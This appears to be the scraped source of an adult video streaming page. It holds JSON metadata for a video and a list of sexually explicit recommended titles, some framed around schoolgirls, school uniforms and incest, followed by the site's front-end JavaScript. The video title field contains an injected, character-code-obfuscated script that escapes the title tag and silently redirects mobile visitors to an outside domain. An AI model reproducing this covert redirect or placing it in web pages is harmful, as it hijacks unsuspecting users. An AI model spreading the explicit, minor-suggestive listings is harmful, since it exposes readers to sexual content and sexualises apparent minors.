Amateur Girl's First Time Watching Masturbation Excitement ④ OFFICE K」S","site_id":0,"video_url":"https://2606.senlin2026.com/20260706/3haLs8Ej/index.m3u8","images":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MDgvYzk5MzNkMzlhNzFlODYwZDFhZDcyYjRkODZjZmFhZDIuanBn.cache","duration":"","actor":[],"lastmod":1783766805,"rating":"0","view_count":0,"description":null,"tag":["Masturbation","Amateur","Erste","einmal","Erste","aufgeregt"],"site_url":"277158","free":1,"clarity":1,"vr":2,"is_caiji":0,"fenlei":["恋腿狂魔"],"preview":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MDgvYzk5MzNkMzlhNzFlODYwZDFhZDcyYjRkODZjZmFhZDIuanBn.cache","maker":"","table_name":"videos_senlinzy","content":"","download_url":"","magnet_url":"","torrent_url":"","preview_images":"","release_date":"","series":"","studio":"","s_title":"素人妹第一次看自慰兴奋④ OFFICE K」S","s_keywords":"素人妹第一次看自慰兴奋④ OFFICE K」S","s_description":"Amateur Girl's First Time Watching Masturbation Excitement ④ OFFICE K」S","cid":"","items":[{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvYTQ3NzkzOTAyZmE0NmZiNzdjMjE5YzVmYjgyYTY1ZGMuanBn.cache","vod_id":19170725,"title":"LULU047 „Alles ist bedeckt! Ich ziehe es zurück und reinige es für dich.“ Asakura Yua arbeitet in einem Badehaus, wo ihre großbusige ältere Schwester sie zwingt, ihre Vorhaut zu reinigen und ihren lüsternen Körper benutzt, um ihn immer wieder zum Orgasmus zu bringen.","lastmod":"2025-03-30","duration":"2:28:42","url":"/play/19170725.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly9mYS5zbDI2MDIwNC50b3AvdXBsb2FkL3ZvZC8yMDI2MDIyNC0xL2M2MzlkYjZjNWE2ZTliNzM3NjVlMjI5ZDcxOTZjYzlmLmpwZw==.cache","vod_id":19246315,"title":"Die TikTok-Influencerin „Tante Mondhase“ hat Fotos von sich beim Masturbieren während eines hochpreisigen Meetings veröffentlicht.","lastmod":"2026-02-24","duration":"1:20:49","url":"/play/19246315.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvYTdmMGVmMWU5OWIzMDc4YjE5YTgwNDViZmNjOWNhZmUuanBn.cache","vod_id":19105884,"title":"Heiße Göttin! Ego-Perspektive eines One-Night-Stands im Luxushotel, lüsterne Finger im Anus! 1","lastmod":"2025-03-29","duration":"0:11:30","url":"/play/19105884.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvOTRjYmQwMWZmNzE1MWE3ZDE5YzI5OGJlOThhNDJhNzYuanBn.cache","vod_id":19238775,"title":"Du bist mein persönlicher Schwanz! Dicker Arsch, gespreizte Beine, Reitposition, Masturbation mit Dildo im Wichsstil. Darsteller: Sayuri Hayama, Erika Kino, Shiori Kuraki u. a. PYM-531","lastmod":"2026-01-09","duration":"4:03:42","url":"/play/19238775.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvNmE1N2FmMWRhZTFmOWE5MzM5MzVmZDRiYWUyMDUwMDYuanBn.cache","vod_id":19057459,"title":"Ein süßes Mädchen mit Maske, durchsichtiger Lingerie und schwarzen Strümpfen masturbiert mit Hilfsmitteln. Sie sitzt auf einem Stuhl, berührt ihre Vulva mit den Requisiten und stöhnt und keucht. Sehr verführerisch, nicht verpassen!","lastmod":"2025-03-29","duration":"0:16:47","url":"/play/19057459.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvYmYxM2IwYzcyYjNlZTkzZjU3NTJhNDAzNDFhYzIyNjEuanBn.cache","vod_id":19103848,"title":"[Junges Mädchen] – Traumschönheit! Nach langer Pause zurück! Hübsches Mädchen bei expliziter Masturbation.","lastmod":"2025-03-29","duration":"0:09:46","url":"/play/19103848.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvODdjYjA3MmFlOGRmOGI1MmMzZWU5NzFhZGQ0NGUyZTcuanBn.cache","vod_id":19168841,"title":"Eine attraktive, langbeinige und sexy Moderatorin zeigt während des gesamten Livestreams ihr Gesicht, spielt mit ihrer Vulva und masturbiert vor der Kamera.","lastmod":"2025-03-30","duration":"1:40:24","url":"/play/19168841.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvNGU3MzFmYmY0ZGQwMGY1YTI4YmYxYjFmYzIzNWIwMWUuanBn.cache","vod_id":19157472,"title":"Das wahre Gesicht von \"Bai Hua Guang\" ~ Ecstasy 3SEX & Masturbation ~ Bai Hua Guang.","lastmod":"2025-03-30","duration":"3:06:30","url":"/play/19157472.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA1MDQvODAxNWI3Y2RhNzBmNTk1NGE0YjcyNjRhODY3ZDE1NTcuanBn.cache","vod_id":19200804,"title":"Meine Lieblings-ältere Schwester ist immer noch dieselbe wie früher. (Dies scheint eine Anspielung auf ein bestimmtes Produkt/eine bestimmte Dienstleistung zu sein: „Das Masturbationshilfsmittel meiner Schwester“, möglicherweise eine Anspielung auf ein bestimmtes Produkt oder eine bestimmte Dienstleistung.) DLDSS-129-C","lastmod":"2025-05-04","duration":"","url":"/play/19200804.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMDk2ZDY1YjMxODRjYmU2YTZjN2M4ZTFjNjdkZDk0ZWUuanBn.cache","vod_id":19173872,"title":"Eilmeldung! Die authentische, jugendlich wirkende Göttin [Jing Yuyu] genießt erstklassige Brüste und vibrierende Eier für ultimatives Masturbationsvergnügen! _2(1).","lastmod":"2025-03-30","duration":"0:15:43","url":"/play/19173872.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMzI4ZTFhYzYyNWUwNjkxNDZmNjA5OGU1YjI1MWE3OGEuanBn.cache","vod_id":19194016,"title":"[Erregt dich meine Unterwäsche?] Tante Oda Mako, die jeden letzten Tropfen Samen aus ihrem Neffen herauspresst VENX-141-C.","lastmod":"2025-03-30","duration":"1:35:33","url":"/play/19194016.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvZmUzMzhhY2ViYTY2ZjMxZWU1MGM1NDZlZGNmM2FmZDAuanBn.cache","vod_id":19151863,"title":"[Pinke Ananas] LOVELY×CATION DER ANIMATIONSSTUDIO #2 „Die Tage der ersten Liebe◆“","lastmod":"2025-03-30","duration":"0:27:02","url":"/play/19151863.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZGY5MzlmNDNjYTBlM2VmMWVlMWJmODczNjEyOWFmMDYuanBn.cache","vod_id":19182214,"title":"Eine Ego-Perspektive zeigt ein Cosplay-Mädchen, das einen perfekten Service bietet, der es Männern ermöglicht, ihre Penisse zu genießen.","lastmod":"2025-03-30","duration":"0:13:18","url":"/play/19182214.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMDJiMTBhNjgwOWJhNDU4ZTFhMDdhZWJjM2M0OWE1MjEuanBn.cache","vod_id":19166529,"title":"IRD191 Wunderbare Nippel-Folter-Restaurationsmassage, die garantiert immer wieder zum Orgasmus führt - Doppelte Stimulation von Nippel und Penis für Ihren Harem!! Shinoda Yu, AIKA, Otsuki Hibiki, Hasumi Katsura.","lastmod":"2025-03-30","duration":"3:00:14","url":"/play/19166529.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEwMTQvZmU5MGE0MTFhMzJmMTgzODU0MmI4MDI4M2YzODI4OGEuanBn.cache","vod_id":19226346,"title":"Eine schlanke, großbrüstige Frau in Strümpfen benutzt obszöne Ausdrücke, flirtet, spielt mit ihren Brüsten, kneift ihre Vagina zusammen und masturbiert mit einem Dildo.","lastmod":"2025-10-13","duration":"0:15:02","url":"/play/19226346.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvNzZmZDU0YWNjYTgzNTQ1OGU4NTQ1YThmNTA2MDllNDUuanBn.cache","vod_id":19098797,"title":"Miya Akaris Gesichtsspritz-Festival: 111 Aufnahmen von der Entfesselung des hochkonzentrierten, echten Samens eines Amateurmannes","lastmod":"2025-03-29","duration":"2:20:20","url":"/play/19098797.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA2MjcvNWM3MDM1NzQ3MTk4OWM2Y2ViYjE2ODVlODdlNmUyNGUuanBn.cache","vod_id":19265633,"title":"Erste Mafuyu Yukina-Angreifer mit schwarzem Penis","lastmod":"2026-06-26","duration":"1:59:56","url":"/play/19265633.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA4MzEvMDQyNjJiZmJkYzcxNmRiNWQzOTNmOTYzMjM1ZTljYjIuanBn.cache","vod_id":19220043,"title":"HAWA343, eine ganz normale Frau, erhielt ein Kondom im Haus eines Studenten, aber eine Nacht Benutzung reichte ihr nicht, deshalb hatte sie während ihres Aufenthalts zweimal Sex.","lastmod":"2025-08-30","duration":"3:09:28","url":"/play/19220043.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvY2IxZDg4OGQxYWQ2MGI2ODhmNGU5Y2JjYTMyZmZiYmUuanBn.cache","vod_id":19032194,"title":"10Musume-082719_01 Das erste Mal Schuluniformen tragen (Three's Company) - Keiko Miyahara, Shizuko Fukuhara","lastmod":"2025-03-28","duration":"0:59:29","url":"/play/19032194.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvN2Y2YjI0NjRmZDNjMWQwOWQwMDNmZTk5OWYxZWE5NmYuanBn.cache","vod_id":19082598,"title":"Die Ich-Perspektive einer Frau beim Geschlechtsverkehr in einem Hotel; der Akt des Geschlechtsverkehrs mit ihr wird gefilmt.","lastmod":"2025-03-29","duration":"0:28:41","url":"/play/19082598.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvZDg4MDhkNDE3YThmNjg0MDZiMTNkMzA2YWE2N2RlODAuanBn.cache","vod_id":19127932,"title":"Ein Schulmädchen in Schuluniform masturbiert ungeniert im Büro! Sie kommt schnell zum Höhepunkt, als niemand in der Nähe ist!","lastmod":"2025-03-29","duration":"1:00:05","url":"/play/19127932.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvY2VkNTE4NDQ5NzFjOTBhM2UzMGY4Nzc2MzkyOGU5ZWIuanBn.cache","vod_id":19153940,"title":"Eine berühmte Szene doppelter Penetration! Eine reine und süße Schönheit der Post-00er! Glückliche ältere Brüder auf beiden Seiten, die stehen und abwechselnd stoßen, Ich-Perspektive, das Mädchen neben ihr berührt sich selbst_30.","lastmod":"2025-03-30","duration":"0:33:55","url":"/play/19153940.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvY2NiYjUwMGMzYTA2ZDQ1NWU1Mzc4MzE1YWI3YzljY2MuanBn.cache","vod_id":19144481,"title":"#Live-Stream: Wunderschönes Mädchen mit großen Brüsten und Maske masturbiert","lastmod":"2025-03-29","duration":"0:52:02","url":"/play/19144481.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMDgyOGRlNjNlNWNjODYwOTg1YjBmMDIxMWE1ZmQ5NzQuanBn.cache","vod_id":19031361,"title":"[Inzestuöse Dominanz] 1-15 (Abgeschlossen) Fantastische inzestuöse Beziehung zwischen einem dominanten Mann und seinem im Jahr 2000 geborenen Cousin! Blutung beim ersten Mal! Gesicht enthüllt, Gesichtsejakulation! Innere Ejakulation!","lastmod":"2025-03-28","duration":"0:24:49","url":"/play/19031361.html"}]},
videoTitle: '</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>Amateur Girl's First Time Watching Masturbation Excitement ④ OFFICE K」S',
language: 'de',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Link kopiert!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Link kopiert!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Link kopiert!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}